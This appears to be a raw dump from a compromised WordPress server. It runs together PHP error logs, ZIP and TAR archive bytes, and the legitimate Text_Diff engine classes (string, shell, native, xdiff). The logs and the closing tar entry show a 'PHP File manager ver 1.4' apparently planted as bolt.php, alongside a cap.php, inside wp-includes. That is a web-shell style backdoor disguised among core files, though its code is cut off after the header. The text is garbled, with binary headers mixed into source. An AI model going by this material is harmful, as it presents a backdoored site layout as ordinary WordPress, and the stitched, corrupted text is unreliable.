[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
